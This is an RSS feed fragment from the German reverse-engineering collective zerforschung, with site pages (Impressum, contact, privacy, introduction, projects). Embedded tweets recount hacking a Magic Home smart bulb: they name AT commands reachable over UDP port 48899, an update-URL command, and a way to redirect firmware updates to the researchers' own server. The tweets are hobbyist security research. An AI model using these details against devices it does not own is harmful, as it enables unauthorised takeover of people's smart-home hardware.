&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Also auf den ersten Blick versucht die „Lampe“ noch nicht nach firmwareupdates zu suchen oder irgendwas mit Internet zu machen. Aber sie ist auch im lokalen Modus ohne account, vielleicht spielt das ne Rolle.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302765513404231681?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;So, aber ich glaube das war’s für heute, brauche erst mal Schlaf, habe beim rumtesten auch schon aus Dummheit ne LED gegrillt. &lt;a href=&#34;https://t.co/QNsDDAEeSV&#34;&gt;pic.twitter.com/QNsDDAEeSV&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302766037201489920?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;So, zurück zur Lampe. Im Gegensatz zu anderen ESP-basierten Lampen, die schon mal Leute auf gemacht haben (wie diesem hier &lt;a href=&#34;https://t.co/8EycaxZ7op&#34;&gt;https://t.co/8EycaxZ7op&lt;/a&gt; ), gibt es bei meiner keinen weiteren Chip der sich um die farbige Ansteuerung der LEDs kümmern würde.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302935363716030470?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Da auf dem eigentlichen LED Board nur 6 Pins ankommen (schätze die Buchstaben stehen für Red, Green, Blue, Warm white, Cold white und Power), glaube ich, dass die LEDs einfach per PWM geregelt werden. &lt;a href=&#34;https://t.co/eqUY4HZbxA&#34;&gt;pic.twitter.com/eqUY4HZbxA&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302936294180433920?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Die sehen zwar tatsächlich aus wie WS2812, aber beim mit Strom ran gehen, sah es eher so aus, als wenn jede Farbe einen eigenen Power und GND hat. &lt;a href=&#34;https://t.co/azITuqS7oL&#34;&gt;https://t.co/azITuqS7oL&lt;/a&gt; &lt;a href=&#34;https://t.co/i7Oyzkk3dZ&#34;&gt;pic.twitter.com/i7Oyzkk3dZ&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302938665908305921?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;tl&#34; dir=&#34;ltr&#34;&gt;Lampensimulation. &lt;a href=&#34;https://t.co/0G0Im7QSVq&#34;&gt;pic.twitter.com/0G0Im7QSVq&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302954359521710082?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;es&#34; dir=&#34;ltr&#34;&gt;Tadaaaaaa &lt;a href=&#34;https://t.co/6UX5QOUXu7&#34;&gt;pic.twitter.com/6UX5QOUXu7&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302955257828454400?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Habe da mal in einem kleinen Video zusammengefasst, was da jetzt eigentlich genau passiert ist. &lt;a href=&#34;https://t.co/3yvgGn6woJ&#34;&gt;pic.twitter.com/3yvgGn6woJ&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302982322711670785?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Einige AT-Befehle, die wir in der Firmware gefunden haben, lassen sich über UDP Port 48899. ausführen, andere bringen keine Rückmeldung. Aber die Firmware-Version bekommt man z.B. über AT raus. &lt;a href=&#34;https://t.co/sIeclslXrF&#34;&gt;pic.twitter.com/sIeclslXrF&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1303010696666415104?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;„AT+UPURL“ scheint das command zum übergeben der remote update URL zu sein. Ich bekomme die „Lampe“ damit immerhin zuverlässig zum crashen. &lt;a href=&#34;https://t.co/2IfkEFbVeT&#34;&gt;pic.twitter.com/2IfkEFbVeT&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1303014672111669253?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Da biste kurz was essen, und dann schreibt dir &lt;a href=&#34;https://twitter.com/robbi5?ref_src=twsrc%5Etfw&#34;&gt;@robbi5&lt;/a&gt;: „Ich glaube ich habe den source für den Firmware-Updateprozess auf GitHub gefunden“&lt;a href=&#34;https://t.co/y5AsBKsTx7&#34;&gt;https://t.co/y5AsBKsTx7&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1303059668797919241?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Ist wahrscheinlich eine ältere oder neuere Version des ganzen, aber könnte trotzdem weiter helfen&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1303060120927186945?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Das ist übrigens gar nicht mal so selten, dass man den source von solchen Sachen umkommentiert, ohne readme, oder nur mit nichts sagender readme auf GitHub findet.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1303062361692164099?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Die ersten Bugs in der DNS-Implementation der Lampe haben wir schon gefunden.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1303077605869051908?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Sooooo. Geschafft die Lampe dazu zu überreden bei einem eigenen Server nach firmwareupdates zu fragen. Jetzt ist die große Frage ob es uns gelingt ein File zu bauen, welches auch akzeptiert wird. &lt;a href=&#34;https://t.co/jlVl3AyYrU&#34;&gt;pic.twitter.com/jlVl3AyYrU&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1303081413714087937?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Habe es geschafft eine firmware einzuspielen. Sie scheint nur nicht zu starten…&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1303095927830388737?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Diese hier. Dürfte alles sein, was mit Magic Home App als 7W RGBCW gebrandet ist. Wird mit Alexa support beworben. Nicht sicher ob das alle die gleichen sind. aber schätze gibt insgesamt nur 2-4 Billigmodelle&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302963650244874242?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;nl&#34; dir=&#34;ltr&#34;&gt;Ah, link vergessen: &lt;a href=&#34;https://t.co/0ggiV2AiJX&#34;&gt;https://t.co/0ggiV2AiJX&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302963880122089472?ref_src=twsrc%5Etfw&#34;&gt;September 7, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;

--&gt;</description>
    </item>
    
    <item>
      <title>Impressum</title>
      <link>https://zerforschung.org/impressum/</link>
      <pubDate>Mon, 21 Sep 2020 01:01:17 +0200</pubDate>
      
      <guid>https://zerforschung.org/impressum/</guid>
      <description>&lt;p&gt;zerforschung ist ein &lt;a href=&#34;https://zerforschung.org/forscherinnen/&#34;&gt;Kollektiv aus freundlichen Menschen&lt;/a&gt;, über einige Orte verteilt. Da trotzdem ja immer jemand im Impressum stehen muss, haben wir folgende Angaben für euch:&lt;/p&gt;
&lt;h2 id=&#34;angaben-gemäß-sect-5-tmg&#34;&gt;Angaben gemäß § 5 TMG&lt;/h2&gt;
&lt;p&gt;radforschung GbR&lt;br /&gt;
Olgastraße 94&lt;br /&gt;
89073 Ulm&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vertreten durch:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Maximilian Richt&lt;br /&gt;
Constantin Müller&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&#34;kontakt&#34;&gt;Kontakt&lt;/h2&gt;
&lt;p&gt;E-Mail: &lt;a href=&#34;mailto:hallo@zerforschung.org&#34;&gt;hallo@zerforschung.org&lt;/a&gt;&lt;br&gt;
Telefon: +49 30 62930862 (wir bevorzugen wirklich, wirklich, wirklich E-Mail)&lt;/p&gt;
&lt;p&gt;Für inhaltliche Nachfragen wendet euch am besten über die Daten in &lt;a href=&#34;https://zerforschung.org/kontakt/&#34;&gt;Kontakt&lt;/a&gt; an uns.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kontakt</title>
      <link>https://zerforschung.org/kontakt/</link>
      <pubDate>Mon, 21 Sep 2020 01:01:17 +0200</pubDate>
      
      <guid>https://zerforschung.org/kontakt/</guid>
      <description>&lt;p&gt;Feedback und Kontakt am besten per E-Mail: &lt;a href=&#34;mailto:hallo@zerforschung.org&#34;&gt;hallo@zerforschung.org&lt;/a&gt; oder auch auf &lt;a href=&#34;https://chaos.social/@zerforschung&#34;&gt;Mastodon&lt;/a&gt; oder &lt;a href=&#34;https://twitter.com/zerforschung&#34;&gt;Twitter&lt;/a&gt;.&lt;br&gt;
Um uns S/MIME-verschlüsselte E-Mails zu schicken, findet ihr &lt;a href=&#34;https://zerforschung.org/c/2023-hallo-at-zerforschung-org.pem&#34;&gt;hier unser Zertifikat&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wir nehmen gern wundersame Hardware in Empfang. Mehr dazu &lt;a href=&#34;https://zerforschung.org/unterstuetzen/#hardware-und-werkzeug&#34;&gt;auf der Unterstützen-Seite&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Privacy</title>
      <link>https://zerforschung.org/privacy/</link>
      <pubDate>Mon, 21 Sep 2020 01:01:17 +0200</pubDate>
      
      <guid>https://zerforschung.org/privacy/</guid>
      <description>&lt;p&gt;Manchmal binden wir Tweets ein, die Datenschutzerklärung von Twitter findet ihr hier: &lt;a href=&#34;https://twitter.com/privacy&#34;&gt;https://twitter.com/privacy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Diese Seite liegt auf einem &lt;a href=&#34;https://uberspace.de/de/&#34;&gt;Uberspace&lt;/a&gt;, für unser berechtigtes Interesse der Reichweitenmessung verwenden wir außerdem ein ebenfalls dort liegendes, selbst-gehostetes &lt;a href=&#34;https://www.goatcounter.com&#34;&gt;GoatCounter&lt;/a&gt;, dafür speichern wir keine personenbezogenen Daten. Welche Daten wir genau damit messen steht hier: &lt;a href=&#34;https://www.goatcounter.com/privacy&#34;&gt;https://www.goatcounter.com/privacy&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>zerforschung, die – Erkenntnisgewinn durch Kaputtmachung</title>
      <link>https://zerforschung.org/posts/hallo-zerforschung/</link>
      <pubDate>Mon, 21 Sep 2020 00:20:31 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/hallo-zerforschung/</guid>
      <description>&lt;h2 id=&#34;heading&#34;&gt;◀️⚒️&lt;/h2&gt;
&lt;p&gt;Bevor ein Mythos entsteht, wie es zu dem Namen kam, möchten wir hier unsere eigene Darstellung platzieren:&lt;/p&gt;
&lt;p&gt;Niemand wusste wie man &amp;ldquo;reverse engineering&amp;rdquo; schreibt oder an deutsche Zeitformen anpasst und erst recht niemand wie man es eindeutscht. Nunja, das Ergebnis &amp;ldquo;zerforschung&amp;rdquo; hat knapp gegen &amp;ldquo;Zurückentwicklung&amp;rdquo; gewonnen.&lt;/p&gt;
&lt;p&gt;Was das ganze hier werden soll, weiß man natürlich eh erst später. Aber momentan ist geplant, dass dies der Ort wird, an dem wir unsere Spaßprojekte &lt;del&gt;end&lt;/del&gt;zwischenlagern können und auch der ein oder andere Twitterthread für die Nachwelt (oder einfach alle die es hassen Twitterthreads zu lesen) festgehalten wird. Content, der bisher verteilt über verschiedene Twitterthreads und Accounts ins Netz geblasen wurde, aber eigentlich zu schade ist, als Puzzleteile im Netz zu verschwinden soll hier ein  zu Hause finden.&lt;/p&gt;
&lt;p&gt;Bisherige Projekte, haben wir versucht in &amp;ldquo;&lt;a href=&#34;https://zerforschung.org/projekte/&#34;&gt;Projekte&lt;/a&gt;&amp;rdquo; zu sammeln.&lt;/p&gt;
&lt;p&gt;Wenn ihr wissen wollt wer wir sind um uns wegen hackenz zu verklagen, dann findet ihr unsere Kontaktdaten &lt;a href=&#34;http://www.reactiongifs.com/wp-content/uploads/2013/02/nope.gif&#34;&gt;hier&lt;/a&gt;, wenn ihr uns aber wundersame Hardware zukommen lassen wollt oder einfach nur Feedback geben wollt, dann findet ihr &lt;a href=&#34;https://zerforschung.org/kontakt/&#34;&gt;die Kontaktdaten auf der dafür vorgesehenen Seite&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Der Rechtsweg ist ausgeschlossen, Familienmitglieder von zerforschungsmitarbeitenden dürfen nicht teilnehmen.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Projekte</title>
      <link>https://zerforschung.org/projekte/</link>
      <pubDate>Mon, 21 Sep 2020 00:18:20 +0200</pubDate>
      
      <guid>https://zerforschung.org/projekte/</guid>
      <description>&lt;p&gt;Bisherige Zerforschungsprojekte, die noch nicht auf dieser Seite dokumentiert wurden, oder so eigenständig sind, dass sie ihre eigenen Blogs haben.&lt;/p&gt;
&lt;h2 id=&#34;radforschung&#34;&gt;Radforschung&lt;/h2&gt;
&lt;p&gt;Aus der Idee ein eigenes Bikesharing Lock zu bauen wurde etwas mehr:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Analyse von chinesischen Bikesharingschlössern&lt;/li&gt;
&lt;li&gt;Gefundene Sicherheitsschwachstellen in den Schlössern eines deutschen Bikesharinganbieters&lt;/li&gt;
&lt;li&gt;Erklärung und Verbreitung der Mobility Data Specification in Deutschland&lt;/li&gt;
&lt;li&gt;Der Start in ein weiteres Projekt zur Entwicklung eines &lt;a href=&#34;https://docs.openbike.dev&#34;&gt;OpenSource Bikesharing Systems&lt;/a&gt; in Ulm&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All dies und noch viel mehr ist auf dem &lt;a href=&#34;https://radforschung.org/log/&#34;&gt;Blog auf radforschung.org&lt;/a&gt; dokumentiert.&lt;/p&gt;
&lt;h2 id=&#34;wobike&#34;&gt;WoBike&lt;/h2&gt;
&lt;p&gt;WoBike ist eine &lt;a href=&#34;https://github.com/ubahnverleih/WoBike&#34;&gt;Dokumentation der APIs von vielen Bikesharing und E-Scooter Anbietern&lt;/a&gt;. Die Sammlung enthält sowohl offizielle APIs als auch inoffizielle APIs, die durch das Zerlegen der Apps erforscht wurden.&lt;/p&gt;
&lt;p&gt;Diese Dokumentation soll zum einen helfen multimodale Verkehrslösungen zu entwickeln und zum anderen Druck auf die Anbieter ausüben ihre Schnittstellen offen dokumentiert bereit zu stellen.&lt;/p&gt;
&lt;p&gt;Mittlerweile hat sich eine Community um das Projekt entwickelt, welche die Schnittstellen von inzwischen über 35 Anbietern aus aller Welt reverse engineered und dokumentiert hat.&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>
